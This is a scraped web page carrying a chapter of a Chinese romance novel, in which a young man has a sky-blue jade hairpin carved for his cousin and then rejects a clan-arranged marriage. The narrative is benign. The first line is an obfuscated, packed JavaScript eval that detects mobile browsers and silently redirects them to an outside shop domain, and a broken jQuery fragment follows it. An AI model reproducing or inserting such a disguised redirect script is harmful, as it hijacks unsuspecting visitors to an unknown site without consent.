;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782806|207014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蓝玻璃种，通透得像一汪凝住了的湖水。当时张瑞恩让人把料子送过来的时候，他说：“这块料子你留着，将来想做什么用都行。”
张明宗当时让人把料子收进库房的保险柜，之后再也没有动过它。他知道这块料子的价值，也清楚在张家，这样的料子不是随便哪个旁支子弟能拿到的。张瑞恩送他这块料子，到底是在示好，还是在用这种方式告诉他“你在我这里确实有分量”，他懒得去分辨。他只知道这块料子放在那里，总有一天会用上。
而今天，他忽然觉得，时机到了。
他把保险柜打开，找到了那块料子。料子表皮灰白，局部带着一层淡淡的蜡壳，托在掌心里沉甸甸的。他满意地弯了一下嘴角，转头对孙叔说：“这块料子，我要用。”
孙叔愣了一下：“大少爷，这块是家主送给您的成年礼，您确定要动？”
“嗯。”张明宗把料子往孙叔手里一递，“帮我找个好师傅，我要打一支簪子。剩下的边角料，要是能出一对耳环也一并做了。”
孙叔接过来，小心翼翼地捧在手里，点了点头：“行。若丽那边有个老师傅，专做翡翠细工，手艺好。我明天就让人送过去。”
张明宗“嗯”一声，转身往外走。走到库房门口的时候他停了一下，偏过头补一句：“工期不急，让他慢慢做，做好为止。”
他回到东厢的时候，天色已经暗下来了。他在书桌前坐了一会儿。
他其实不太确定那支簪子打出来之后，她会不会喜欢。她从小就不太在意这些首饰，虽然秦蔓给她买了不少，她偶尔戴一戴，更多的时候是随手放在首饰盒里落灰。
可他还是想给她打一支。他见过她戴发簪的样子，是在某次家宴上，她穿了一件理式筒裙，头发用一根玉簪挽起来。那根玉簪是秦蔓给她的，冰种飘花，成色不错，可张明宗总觉得那根簪子配她，还差一点什么。
他说不上来差的是什么。也许只是他想亲手给她一支。
之后的日子，照旧过着。张姿宁回墁德勒上学，偶尔给他发消息，多数是拍的作业题，少数时候会问一句“明宗哥你在干嘛”。他每次都会回，但从不主动问她什么时候回来。
他不想让她觉得他在等。
簪子打好的那天，若丽那位老师傅让人把成品送回了主宅。孙叔把一支精致的木盒送到东厢，双手递给张明宗：“大少爷，做好了。老师傅说料子好，他做的时候都没敢多下刀，怕浪费了。”
张明宗接过木盒，先让孙叔出去，然后才把盒子放在书桌上，轻轻掀开盒盖。
盒子里躺着一支天空蓝玻璃种的翡翠簪子。簪身细长，颜色从簪尾到簪头由浅入深，最顶端雕了一朵小巧的茉莉花。花瓣薄而透，边缘微微卷曲，像被风拂过的样子。
张明宗把簪子从盒子里取出来，托在掌心里看了很久。他想起她蹲在池塘边指着那条白鱼说“你就叫茉莉吧”的样子，那时候她七岁，蹲在那里仰着脸看他。
盒子底层还躺着一对耳环。水滴形，边缘磨得圆润光滑，也是同色系的天空蓝，小巧而精致。
他把簪子放回盒子里，合上盖子，放进书桌最底层的抽屉里。
他没告诉她簪子已经打好了。
她也一直没来。
他收到的消息从“明宗哥我在复习”变成“明宗哥我下周有个竞赛集训”，再到后来，消息的间隔越来越长，内容也越来越简短。
他知道她在忙些什么。
他想，那就等吧。等她忙完手头的事，等她想起来还有一个人在等她。
张姿宁再来央光主宅的时候，已经是很久之后的事了。
彼时她已经十八岁，个子比两年前抽高了一截，眉眼间褪去了少女时期那种圆润的稚气，下颌线条收得更紧，整个人看起来锋利了不少。她来的时候是傍晚，一进院子就看见了东厢廊下那盏亮着的灯。
她没有先去正厅见张瑞恩，而是拐了个弯，沿着那条她走了无数遍的廊道往东厢走去。
她走到门口的时候，门开着，张明宗正坐在书桌后面。他听见脚步声便抬起头来，目光落在她脸上的那一瞬，眼里的笑意慢慢漾开，露出一对虎牙。
“阿宁。”
“我来了。”她弯起眼睛笑着，还和往常一样坐在他对面的椅子上。
“你来的正好。给你留了个东西。”
张明宗放下手里的书，走到书柜旁边那只上了锁的抽屉前，从里面取出那只深蓝色的盒子。他转身走到她面前，垂眸看了她会儿，然后把盒子放在她面前。
“打开看看。”
“给我的？”
她似乎忘记了奖励这件事。
他也不恼，只是点点头：“之前说给你的奖励。”
“你居然还记得。”
张姿宁说完这话，低头掀开盒盖的一瞬间，整个人愣住了。
她伸手把那支簪子拿起来，举到眼前，让廊下的灯光透过淡蓝色的玉身。顶端刻着一朵茉莉花，恍然间把她拉回了七岁那年的夏天。
“天空蓝玻璃种……你疯了吧？”她抬起头来看他，“这块料子我在大伯的库房里见过，他说是留给你的成年礼，你拿来给我打簪子了？”
“嗯。”
“你知不知道这块料子值多少钱？”
“知道。”他说，“可它留在我这儿，就是一块石头。给你了，它才算是件东西。”
张姿宁低头看着掌心里的簪子和那对耳环，忽然抬起头看着他，语气里带着一点压不住的急切：“你帮我戴上。”
他安静地看了她一会儿，在确认她是认真的之后，才伸手从她掌心里拿起那支簪子。
她今天没有扎头发，长发披在肩后，有几缕散落在耳侧。他的手指穿过她的发间，拢起她肩后的长发，在脑后绕了一圈，随即把手里的簪子顺着发髻斜斜地插进去。他微调了一下角度，退后半步，目光落在她发间那支淡蓝色的簪子上。
“很好看。”他弯起唇角笑的温柔。
张姿宁抬手轻碰簪尾，指尖触到冰凉的玉面时，勾起唇角露出一抹明媚的笑意。
张明宗的声音从身后传来：“耳环也试试。”
她拿起那对耳环，找了一面镜子往耳垂那比对。水滴形的玉坠在她耳垂下方轻轻晃动，淡蓝色的光泽随着她的动作流转。她侧了侧头，看着镜子里的自己，忽然轻笑一声。
“你这哪里是奖励……”她偏过头来看他，“你这是要让我这辈子都记得你的好。”
张明宗站在她身侧，闻言弯了一下嘴角，没有接话。
那天晚上她在廊下陪他坐着聊天。
五月末的夜风裹着央光独有的潮热，从院子里那棵老榕树的枝叶间穿过来，吹得廊下的灯光晃了晃。两个人坐在东厢门口的台阶上，肩膀之间隔着不到一掌的距离，张姿宁屈起膝盖，把下巴搁在手臂上，偏头看着他。
她发间那支天空蓝的翡翠簪子在廊灯下泛着温润的微光，那朵雕出来的茉莉花恰好别在她耳后。张明宗的目光从簪子上滑过，又移开，落在院子里那棵榕树上。
“簪子很衬你。”他说。
张姿宁听后安静了几秒，然后开口，声音比刚才低了一些，仿佛在斟酌什么。
“明宗哥，我今天在长老会那边听见了一件事。”
张明宗偏过头来看她：“什么事？”
“他们打算拿你去联姻。”张姿宁说这话的时候，目光落在廊前那片青砖地上，“今天下午三房的管事在偏厅跟长老会的人说话，我正好路过，听见了几句。他们说若丽那边有一户姓李的人家，家里有个女儿，年纪跟你差不多，家底厚，在若丽有几处矿口，想跟张家搭线。”
她说到这里顿了一下，语气里透着几分冷意：“他们说，让你娶她。”
廊下安静下来。
张明宗闻言偏过头，抬眼瞧着头顶那轮明月，然后笑了一声。
“联姻。”他把这两个字慢慢重复一遍，嘴角那抹笑意淡了一些，“我在他们眼里，也就只有这点价值了。”
他本来想用这句玩笑话把话题带过去。他以为她会像往常一样接一句什么，把话题岔开，可她这次出奇的安静。
他侧过头去看她，发现她正看着他，眼睛里的情绪比他想得要重。
“我不准你去。”她说。
张姿宁说完这句话自己似乎也愣了一下，像是这话没有经过大脑就直接从唇间滑出来了。可她并没找补，那双眼睛里带着一种他很少在她脸上见过的固执。
张明宗嘴角的笑意慢慢从嘴角褪下去。
张姿宁没有移开目光，“长老会那帮人想拿你去换若丽那几处矿口的开采权。他们觉得你一个养子，拿来换利益是理所应当的。”
她侧身往他那挪了一步，离他更近：“可你不是他们的筹码。你是我明宗哥。”
张明宗的睫毛极轻地颤了一下。
他沉默了很久，才开口：“那如果我真的去了呢？”
“你不会去。”她说。
张明宗微微偏着头看她，嘴角那点弧度又浮上来，温和道：“你凭什么这么确定？”
张姿宁把目光从他脸上移开，过了一会儿才重新开口，声音放低了一些：“如果你真的去了，我会去若丽把你带回来。大不了把那几处矿口买下来，断了李家跟张家合作的念想。”
他忽然意识到，她是认真的。她不是在跟他开玩笑，也不是小女孩一时兴起的占有欲，她是真的打算这么做。
“我不会去的。”他说。
张姿宁听见这句话之后，视线在他脸上停住，在确认他不是在哄她后，随即弯起眼睛，心满意足地把头靠在他肩上。
她侧着脸，额头抵着他的肩头，呼吸浅浅地拂过他的颈侧，带着一点初夏夜晚的热意和茉莉花的香气。
张明宗的身体在她靠上来的瞬间轻轻一僵，然后放松下来。她很久没像小时候那样靠过来了。他垂着眼，目光在她发间那支淡蓝色的翡翠簪子上停了一下。他抬起手，很轻地替她把鬓角另一缕碎发别到耳后。
两人就这么在廊下坐着。夜风从院子里穿过来，吹动廊下的灯光，把两个人的影子拉得很长，交叠在一起。
她后来泛起困意。最初只是呼吸渐渐变得均匀绵长，后来额头从他肩头滑下去一些，滑到他手臂上，最后整个人往他那边歪了歪，彻底靠进他怀里，睡了过去。
张明宗维持着那个姿势坐了很久，低头看着她睡着的侧脸，廊下的灯落在她眉骨和鼻梁上，照得分明清晰。
他把那只空着的手从她身后轻轻穿过，另一只手托住她的膝弯，把她整个人从台阶上抱了起来。
他走进房间的时候，陈妈正好从侧廊经过，看见他怀里抱着张姿宁，脚步顿了一下。张明宗微微侧头，示意她不用跟过来。陈妈便垂眼退开了。
他弯腰把她放在床上。她的后背刚沾到床面，他便直起身，正要替她把薄被拉过来，手腕却被人攥住了。
她醒了，或者根本没有完全睡着。她的眼睛半睁着，声音带着困意，含糊不清，可攥着他手腕的力道却很紧。
“别走。”她说，“你躺下陪我。”
张明宗站在床边，低着头看她。她的手指扣着他的腕骨，带着一股不容挣脱的执拗。他本来可以拉开她的手，退到书桌后面去，可他这次却站在原地。
他感觉得到她内心的那股固执，是知道联姻那件事之后生出来的，怕他真的像一件物品一样被张家送走。她没有说出来，可她攥住他手腕的力道已经把那股情绪传给了他。
张明宗在床边站了一会儿，然后弯下腰，在她身侧躺了下来。他不敢靠得太近，和她之间隔着一小段距离，可他刚躺下，她的手臂环过他的腰，整个人贴上来，脸埋进他胸口，收得很紧，像要把他整个人锁住，怕他消失。
张明宗的身体彻底僵住了。他低头看着她埋在自己胸口的发顶，闻到她发间那点淡淡的茉莉花香，才清晰地感受她真的在他怀里。
“阿宁。”他开口，声音认真，“你知不知道你在做什么？”
“我知道。”她的声音从他胸口闷闷地传上来。
张明宗垂着眼，看着她的发顶。他的手指悬在她肩侧上空，过了好几秒他抬手把那根簪子取下，放在枕头边，随后放下手，很轻地覆在她后背上。
张明宗躺在黑暗中，目光落在天花板上那一道被月光照亮的缝隙上。他想推开她，因为他知道自己不能给她任何承诺，可他又舍不得推开她。她本就因为联姻的事难过，他根本不忍心看见她失落难受的样子。
他想，那就这样吧。既然她非要让他留，那他就留到天亮。
那天张明宗醒得很早。
天光还没有完全透进屋来。他睁开眼睛的第一秒，意识还没有完全回笼，只感觉到胸口那一片温热还在，她的脸仍然埋在他胸前，攥着他衣料的手指也还收着，只是力道比夜里松了一些。
他垂下眼，看着她睡得毫无防备的样子。还是跟小时候一模一样。
他抬起手为她把额前的那一缕头发别在耳后，她似乎被惊动了，眉心极轻地蹙了一下，可很快又舒展开来。
他的手指停在她耳侧，没有收回去。而她正慢慢地睁开眼。
视线从模糊到清晰只用了两秒。她看见他近在咫尺的脸，晨光里他嘴角微微弯着，他的那双眼睛没有躲闪。
“早。”他说。
她愣了一下，才意识到自己还枕在他胸前，攥着他衣料的手指倏地松开。
“你醒多久了？”她揉了揉眼睛，还带着困意。
“刚醒。”他顿了顿，“你睡得还好？还是跟小时候一样踢被子，半夜卷走我大半张被子。”
“我没有。”她立刻否认，可刚说完就发现自己的腿正隔着薄被搭在他小腿上，姿势确实不太规矩。她瞪了他一眼，却没真的挪开。
张明宗轻笑一声，伸手撑着床面坐了起来，他别过头看她。
“天亮了。”他说，“你该起来了。”
“那你呢？”她仰起脸看他，目光里还带着没散尽的睡意和一点隐约的执念。
“我去偏厅帮你看看陈妈把你爱吃的椰汁米线做好没有。”他说着，便要下床。
“等一下。”张明宗的动作被她拉住了，他低头看她。
她没说话，就那么看着他。晨光落在她眼睛里，把那层没睡醒的朦胧照得很亮，里面映着他的脸。过了好几秒，她才松开手，翻了个身，把脸埋进枕头里，含含糊糊地丢出一句：“......你快点回来。然后想办法把长老会那边拒了。我不准你娶别人。”
张明宗坐在床边，低头看向她，嘴角那点笑意慢慢深下去，那是他自己都没察觉的柔软，又夹杂着某种他自己也说不清的酸涩。
“阿宁。”他叫她。
“嗯？”她的脸还埋在枕头里，声音闷闷的。
“知道了。”他说。
她动了动，偏过头露出一只眼睛来看他。他不再说别的，然后走向门外。
那天下午，他走进张瑞恩书房的时候，张瑞恩正靠窗坐着，手边摊着一本翻了大半的矿区报表，手里端着一杯凉了半截的茶。
“明宗？”张瑞恩抬眼看了他一眼，似乎有些意外，“你来找我，有什么事？”
张明宗站在书桌前几步远的位置，没有坐到那张常坐的椅子上，就那么站着，目光看向他。
“大伯，”他说，“若丽那边联姻的事，我听说了。”
张瑞恩端着茶杯的手顿了一下，然后他慢慢放下杯子，靠进椅背里，目光落在张明宗脸上，像是在等他继续。
张明宗语气平静，不卑不亢，“我没有联姻的打算。”
张瑞恩只是安静地看着他。窗外有风吹进来，吹动桌面上那张报表的边角。张瑞恩的手指搭在扶手上，指尖点了几下，重新打量眼前这个人。
他认识这个孩子好几年了，张明宗永远是那副温顺的模样，问他什么都说“挺好的”，从不争什么，也从不主动提任何要求。
“你向来不问这些事的。”张瑞恩身体微微前倾，双手交叠搁在桌面上，问得很轻：“明宗，你是不是有喜欢的人了？”
张明宗并没回答。
张瑞恩看着他那副样子，也不打算继续问下去，他的目光从张明宗脸上移开，落在窗外那棵老榕树的树冠上，沉默了很久。
“这事我做不了主。”他开口，“这是张家祖上传下来的规矩，各房子弟到了年纪，若有合适的联姻对象，族里自然会安排。长老会的那些人不会轻易松这个口。”
他说完这句话，停了一下，目光从窗外收回来，重新落回张明宗脸上。他看见张明宗仍旧站在那儿安静地听着，像在等一个或许早就知道答案的结果。
可张瑞恩自己，一生未娶。他比任何人都清楚，有些事不是靠规矩就能压下去的。
他叹了口气，“你回去吧。这事我知道了。”
张明宗“嗯”了一声，转身走出书房。廊道里的风迎面吹过来，他面上看不出什么情绪，可他走出主宅正厅之后，脚步还是拐了个弯，往后院那方池塘去了。
他走到池塘边，在藤椅上坐下来。五月的午后有些闷热，水面映着天光。他看了一会儿，目光落在一条通体雪白的鱼身上。它慢悠悠地游过池底，不争不抢。他忽然想起她蹲在池边指着这条鱼说“你给它起个名字”的样子，那时候她仰着脸，眼睛亮晶晶的。
他弯了弯嘴角，那笑意很轻，像水面被风吹皱了一瞬又平复下去。
“明宗哥，你会一直在东厢吗？”
她那天被秦蔓接回墁德勒，站在廊下回头冲他喊了这么一句，声音里带着一点怕他走掉的慌张。他当时站在东厢门口，双手插在兜里，弯起眼睛笑起来，露出那两颗虎牙。
“会。”
他回答得很快。那时候他还没有完全想清楚自己为什么会回答得那么干脆。他只是不想让她失望。
可他现在又清楚地知道，自己终有一天会让她失望透顶。
白衬衫在他手里跑了八年，手里攥着能让张家断根的刀，可他却依然会被困在联姻里。对于联姻这事，他早就有心理准备，只是每每想起她那认真的模样，他做不到无所谓。